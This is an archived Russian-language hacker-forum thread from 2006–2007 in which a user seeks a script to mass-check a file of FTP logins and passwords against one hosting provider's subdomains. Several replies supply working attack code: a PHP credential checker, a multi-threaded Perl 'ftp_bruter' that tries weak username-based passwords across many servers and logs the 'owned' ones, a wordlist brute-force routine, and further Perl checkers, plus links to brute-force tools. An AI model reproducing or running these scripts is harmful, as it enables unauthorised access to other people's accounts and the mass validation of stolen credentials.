PDA

Просмотр полной версии : Ищу скрипт для чекалки фтп на правильность логина и пасса.


Гаврила
25.11.2006, 06:28
Нужен скрипт или прога для чека фтп на правильность логина и пасса.
Чекаться будет один хостер.
Допустим если взять тотал коммандер, то в поле
Имя сервера, будет писацца domain.somehost.com
В поле учетная запись та-же переменная, что и domain, и пароль ( с паролем понятно =))
Может есть такие скрипты, а может кто и возьмётся?

Да, совсем забыл =)
Я буду чекать уже готовый файл с логинами и пассами.
Он будет представлен в формате txt в виде
1;login;pass
2;login;pass
3;login;pass

bul.666
25.11.2006, 06:31
Тоесть брут?

bul.666
25.11.2006, 06:32
BrutusAE2

Гаврила
25.11.2006, 09:24
BrutusAE2 не сможет это сделать.

GreenBear
25.11.2006, 09:30
<?php
set_time_limit(0);
$logins = "ftp";

$ftp = file($logins);

for($i=0;$i<count($ftp);$i++){
$check = explode(";", $ftp[$i]);
$link = ftp_connect($check[0], '21', '15'); //21 - порт, 15 - время ожидания в секундах.
if(ftp_login($link, $check[1], $check[2])){
$fp = fopen ("good", "a+");
fwrite ($fp, $check[0].":".$check[1].":".$check[2]."\n");
fclose ($fp);
}
}
?>

это?

Гаврила
25.11.2006, 10:02
А куда в нём пихать somehost.com ?

GreenBear
25.11.2006, 10:08
в данном случае: somehost.com;login;pass в файле ftp

Гаврила
25.11.2006, 10:17
Так немного не удобно будет в моём случае.
Мне важно чтоб файле good после проверки записывалось так:
1;login;pass
5;login;pass
3333;login;pass
и т.д.
Порядковый номер мне тоже важен.
Т.е. я могу скормить скрипту только в таком формате.

KSURi
25.11.2006, 17:09
#!perl -w

use strict;
use Net::FTP;
use threads;

print "\n# $0\n# (C)oded by .:[KSURi]:.\n";

print "Enable OneSiteMode? [0/1] ";
my $answer=<STDIN>;
chomp($answer);
if($answer==1)
{
$SIG{INT}=sub { print "\n[i] \$SIG{INT} hooked!"; exit(0); };
my $oneSiteMode=<STDIN>,my $oneSiteUser=<STDIN>,my $wordlist=<STDIN>;
print "\n[i] Bruting ".$oneSiteMode." ...\n";
oneSiteBrute($oneSiteMode,$oneSiteUser,$wordlist);
exit(0);
}

my $in="sites.txt";
my $out="owned.txt";
my $sign="sign.dat";
my $timeout=20;
my $i=0;
my @threads=();
open(IN,$in) or exit print "\n[-] Cannot open $in\n";
my @sites=<IN>;
close IN;
open(SIGN,">>$sign");

$SIG{INT}=sub
{
undef @threads;
print "\n[i] ".$i." FTP servers owned\n";
exit(0);
};

for(my $thrCtr=0;$thrCtr<=$#sites;$thrCtr++)
{
if($thrCtr==int($#sites/4)||$thrCtr==int($#sites/3)||$thrCtr==int($#sites/2))
{
print "\n\n[~] No new new threads for ".$timeout." secs\n";
sleep($timeout);
print "\n[~] Starting new threads\n\n";
}
$threads[$thrCtr]=threads->new(\&try,$sites[$thrCtr]);
$threads[$thrCtr]->detach();
}

while(-s $sign!=$#threads) { sleep(1) }
close SIGN;
unlink $sign;
undef @threads;

sub try
{
my $site=shift;
chomp($site);
print $site."... ";
if(my $conn=Net::FTP->new($site, Debug=>0))
{
my($string,undef)=split('\.',$site);
if($conn->login($string,$string))
{
open(OUT,">>$out") or print "OK (Not logged)\n";
print OUT $site."\:".$string."\:".$string."\n";
close OUT;
print "OK\n";
$i++;
undef $conn;
}
elsif($conn->login(reverse($string),reverse($string)))
{
open(OUT,">>$out") or print "OK (Not logged)\n";
print OUT $site."\:".$string."\:".$string."\n";
close OUT;
print "OK\n";
$i++;
undef $conn;
}
else
{
print "FAILED\n";
undef $conn;
}
}
else
{
print "FAILED\n";
undef $conn;
}
print SIGN "x";
}

sub oneSiteBrute
{
my($site,$user,$wordlist)=@_;
open(WORDS,$wordlist) or exit print "\n[-] Cannot open wordlist [".$wordlist."]\n";
while(<WORDS>)
{
my $conn=Net::FTP->new($site,Debug=>0) or exit print "\n[-] Cannot connect to".$site."\n";# if(!$conn);
if($conn->login($user,chomp($_)))
{
print "\n[+] PASSWORD FOUND: ".$_."\n";
}
}
close WORDS;
}

# ftp_bruter v2.5.pl
# (C)oded by .:[KSURi]:.

Вот мой старый сорец - пользуйся. Только советую его подредактировать тк код не рационален(

genom--
25.11.2006, 20:49
http://gfs-team.ru/downloads/FTP-BruteForce.rar

во тож брутер но уже не скрипт а с гуи интерфейсам

0xff
25.11.2006, 20:59
вот оченЬ даже не плоХой скрипт ... проверяет в Одном файле...
Порядок проверки ... записываем все в Один файл таким образом:
ftp://login:password@servant.ru
---------------------------------------------------------------
подаем команду таким образом :
scr.pl passworcs.txt good.txt bad.txt

И получаеться что катлеты отдельно и мухи тож отдельно ... скрипт очень мне понравился ...
Вот бы такой написать с ПоддерЖкой проксей . что бы коннект шел через прокси сервера ... тоГда бы ему цены не было...

код самого скрипта тут http://anykey.host.sk/soft/chekftp.p

Если кто надумает помочь с подобным скриптом для брута ... ну что бы через проксеги это дело все ходило .. рад буду помоЧь... ну или протестить . самому писать знаний наверное пока что маловато ... но все в процессе ... счас пока что сокеты ни как не научусь открывать не понимаю что происсходить поЭтому с проксями парЮсь...
НароД помоГите кто ниБУдь !

bul.666
25.11.2006, 21:02
http://anykey.host.sk/chekftp.p [404]

0xff
25.11.2006, 21:19
тьфу млин ... http://anykey.host.sk/soft/chekftp.p
вот так нормаольно доЛжно быть

Гаврила
25.11.2006, 23:37
Всем спасибо за предложенные варианты=)
Но вроде ничего подходящего среди них нет =)
Дам вводные ещё раз.
Есть файл со строками:
1:vasia:123456
32:fedor:qwerty
58:masha:55555
и т.д.
В этом файле я изменить ничего не могу.
Номера перед именем мне важны.
Брутить ничего не надо.
Нужно чтоб скрипт прошёл один раз по каждой строке ( взяв из неё имя и пароль ) и попытался сконнектицца.
При удачном соединении, записав строку в файл гуд.
При неудачном идёт на следующую, и т.д.
Для соединения с сервером на хостинге используется следующий формат.
Если
1:vasia:123456
то
имя сервера:vasia.somehost.com
имя пользователя:vasia
пароль:123456

0xff
26.11.2006, 00:57
руки то откуда растут .... ??? бери да правь.... чо там слоЖного ... или ты думаешь лично для тебя прогу писать будут ? нет уж тогда лучше учи перл ...

KSURi
26.11.2006, 02:53
блиа...
кароче самый тупой макет выглядит так:

open(IN,"words.txt")||die;
while(<IN>)
{
chomp;
my(undef,$login,$password)=split(':',$_);
my $ftp=Net::Ftp->new() # не помню аргументы наизусть(
if($ftp->login($login,$password)) { exit print $_."\n" }
}

genom--
27.11.2006, 00:47
ну гаврила спешал фор ю

#!usr/bin/perl

use Net::FTP;

$ftp = Net::FTP->new("genom.h10.ru", );

open file,'<ftp.txt'; # файл в котром хранятся твои акаунты к ftp
open goodd,'>good.txt';
while($lol=<file>)
{
$lol=~s/\n//;
($cifra,$llogin,$pass)=split(/;/,$lol); # разбираем

$ftp -> login($llogin,$pass) or goto(dava);
print goodd "$lol\n";
dava:
}

close(goodd);close(file);


ps-- и не хужже чем у undergraund =)

zombiexe
27.11.2006, 09:32
FTP Checker (PHP) от [Cyber Lords Community]
http://cyberlords.net/releases/cl_ftp_checker.php.txt - Сматреть тут

Гаврила
27.11.2006, 21:07
FTP Checker (PHP) от [Cyber Lords Community]
http://cyberlords.net/releases/cl_ftp_checker.php.txt - Сматреть тут
Отлично чекает =)
Но пришлось всё-таки чуть поправить файл под чекер.

ashotus
08.10.2007, 11:21
У кого есть файл cl_ftp_checker.php.txt ?
Ссылка битая, выложите на каком-то файлообменнике.